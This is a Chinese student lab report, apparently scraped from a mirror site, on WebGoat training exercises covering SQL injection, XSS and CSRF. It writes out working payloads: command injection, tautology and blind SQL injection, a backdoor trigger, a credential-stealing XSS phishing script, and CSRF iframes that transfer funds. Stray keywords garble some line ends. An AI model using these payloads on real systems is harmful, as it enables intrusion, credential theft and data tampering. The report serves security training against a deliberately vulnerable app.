實驗內容web
本實踐的目標理解經常使用網絡攻擊技術的基本原理,作很多於7個題目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat實踐下相關實驗。算法
實驗後回答問題sql
(1)SQL注入攻擊原理,如何防護數據庫
SQL注入指的是發生在web應用對後臺數據庫查詢語句處理存在的安全漏洞,主要針對目標是數據庫,通常會將攻擊者的輸入的具備權限功能的代碼,當作正常信息上傳至數據庫,致使其發生做用。後端
防護辦法:瀏覽器
限制輸入字符,儘量使其輸入內容是合乎使用規範的,同時能夠依靠更多複合型的限制方法,或者過濾,纔有可能起做用。安全
(2)XSS攻擊的原理,如何防護cookie
跨站腳本攻擊容許惡意使用者將程序代碼注入到網頁上,這類攻擊通常包含了HTML語言以及目標主機使用的腳本語言其餘使用者在瀏覽網頁時就會受到不一樣程度的影響。網絡
防護方法:函數
一樣是上傳信息產生的影響,所以一樣須要對上傳信息進行過濾,或者將其內部數據在上傳是進行註釋化或自動加引號。
(3)CSRF攻擊原理,如何防護
其原理主要是跨站僞造,利用XSS的注入方式注入一段腳本,當受害者點擊瀏覽器運行該腳本時,則腳本僞造受害者發送了一個合法請求。
防護方法:
一方面對於使用者要有良好的用網意識,另外一方面經過referer、token或者驗證碼來檢測用戶提交,此外要對於cookie進行嚴格管控。
實驗過程
1、webgoat配置(前提安裝配置好1.8版本jdk)
(1)下載7.0.1版本的webgoat
下載完成以後,放在kali主目錄下
運行
當出現Starting ProtocolHandler ["http-bio-8080"]時,則能夠打開瀏覽器進行試驗
(2)在瀏覽器中輸入http://localhost:8080/WebGoat進入WebGoat登陸界面
下方爲兩組默認的用戶名和密碼:
登錄成功
2、實驗一,SQL
(1)命令注入(Command Injection)
本操做原理爲經過在正常的參數提交過程當中,添加惡意的代碼,執行目標主機系統命令
在acesscontrolmartix.help這一欄右鍵選擇插入審查元素,後面添加命令語句「&netstat -按& ipconfig」,點擊view運行。
攻擊成功
(2)數字型注入(Numeric SQL Injection)
與命令注入相似,不過是針對station字段,在其中注入特殊字符,使其組合成新的sql語句
如圖所示,須要咱們經過數字注入,使其可查詢Columbia的天氣信息,因而在選擇框中,選擇Colombia,右鍵,選擇插入審查元素,在value=「101」以後添加 or 1=1。按下GO!
(3)日誌欺騙(Log Spoofing)
日誌欺騙的目的主要是用於攻擊者清理其網絡攻擊的痕跡,經過在用戶名輸入框中向上傳數據的方式,修改目標日誌文件。
在用戶名一欄中輸入webgoat Login Succeeded for username admin,這樣用戶名後面的信息會在同一行顯示,而不會換行。則咱們在語句中加入換行符:
webgoat%0d%0aLogin Succeeded for username: admin
顯示成功,並接受任意一個用戶名。
(4)LAB: SQL Injection 之 Stage 1: 字符串型注入(Stage 1: String SQL Injection)
使用 SQL 注入繞過認證
以用戶Neville登陸,仍是以永真式的形式輸入密碼Smith' or 1=1 --
但因爲該網頁限制了密碼輸入長度,所以咱們須要先插入審查元素,調整最大密碼輸入長度。
這樣能夠正常輸入密碼。
而且登錄成功
(5)LAB: SQL Injection 之 Stage 3: 數字型 SQL 注入(Stage 3: Numeric SQL Injection)
原理:經過登陸普通權限用戶帳號,並使用對其權限序號進行數字修改注入。
首先使用Larry的帳號進行登陸
密碼也是Larry,不用找了
登陸後能夠看到我的信息,點擊view profile,能夠查看員工檔案。
咱們能夠看到,他的管理者序號爲102,老闆應該是工資最高的,因此爲了把老闆排到第一個,所以,嘗試去修改其爲101,看結果如何。
添加審查元素 101 or 1=1 order by salary desc
desc表示降序序列。
此時Larry的信息已經變成了Neville的信息,甚至能夠點擊editProfile,去修改信息
(6)字符串注入(String SQL Injection)
在文本框裏輸入 SELECT * FROM user_data WHERE last_name = '?'
直接查找數據庫中字符串
正常查詢只有simith的數據
將 '' 中
提早閉合,插入永真式而後註釋掉後面的內容就能夠了,因此輸入 Smith' or 1=1 --
注入成功後,即可看到全部員工的信息:
(7)數據庫後門
數據庫一般做爲一個Web應用程序的後端來使用,所以,咱們能夠針對其,插入後門程序,利用查詢的脆弱性建立觸發器,該觸發器在建立新用戶時,將每一個新用戶的Email地址設置爲攻擊者的地址。
輸入101
能夠得到Larry的信息
輸入注入語句 101; update employee set salary=10000
能夠看到Larry薪水被改了
下一步設置觸發器
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
攻擊成功。
(8)數字型盲注入(Blind Numeric SQL Injection)
數字盲選則是隻能經過條件的「真」和「假」進行判斷的狀況。必須充分利用查詢語句,構造子查詢語句,進行試探,偏向於暴力算法破解。
咱們的目標是找到pins表中cc_number字段值爲1111222233334444的記錄中pin字段的數值。pin字段類型爲int型。輸入找到的數值並提交
輸入101 AND 1=1
返回帳號有效
輸入101 AND 1=2
能夠看到1=2永假,則返回帳號無效
經過下面這條語句,來嘗試查詢pin值是否大於10000
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
如圖。小於10000則大大減少了搜索範圍
利用二分法再次嘗試
小於5000,最後不斷調整,能夠獲得結果2364
(9)字符串型盲注入(Blind String SQL Injection)
同理,是對於字符串的真假比較
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
一樣能夠利用二分法,逐一肯定該字符串的內容
最後能夠,得到目標名稱Jill
3、XSS簡單應用
(1)使用 XSS 釣魚(Phishing with XSS)
首先建立一個form,要求填寫用戶名和密碼。將數據提交到
http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
目標共兩步驟,目標將信息填寫至我所設置的用戶和密碼文本框內,經過讀取腳本的方式,發送給我
以下爲一個帶用戶名和密碼輸入框的表格
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
這段腳本語言的代碼會讀取咱們在表單上輸入的用戶名和密碼信息
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
攻擊成功
(2)存儲型XSS攻擊(Stored XSS Attacks)
常見於論壇等留言平臺,用戶留言的時候能夠輸入一段JavaScript腳本,就會被保存在數據庫中。由於是留言,任何用戶在打開網頁的時候,這個腳本就會被從數據庫中取出來而運行。
在title中任意輸入字符,留言板中輸入<script>alert("why did you say that name!");</script>
點擊生成的鏈接,會顯示輸入腳本的顯示文字功能,同理,其餘功能也可已實現。
(3)反射型XSS攻擊(Reflected XSS Attacks)
攻擊者可使用攻擊腳本建立一個URL,將其發佈到另外一個網站、經過電子郵件或其餘方式讓受害者點擊它觸發。
輸入代碼<script>alert("i am superman!");</script>
同理,點擊鏈接,顯示js語句函數功能
4、繞過 CSRF 確認(CSRF Prompt By‐Pass)
跨站點請求僞造,欺騙受害者加載包含「僞造請求」的頁面,以便使用受害者的憑據執行命令,提示用戶確認或取消命令可能聽起來像一個解決方案。
首先查看頁面右側Parameters中的src和menu值分別爲280和1471017872:
在title框中輸入任意內容,message框中輸入代碼
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
生成鏈接
成功,her name is masa,too
實驗心得
本次實驗因爲是基於一個教程,學習了更多的,針對不一樣功能,和不一樣上網行爲的網絡攻擊手段,偏向於原理,但任對我有很大的幫助,讓我明白了,網絡攻擊並非多麼神祕,只是利用合理的程序設計缺陷運行其餘功能罷了。且對於數據庫語言和js語言的理解還須要不斷加深。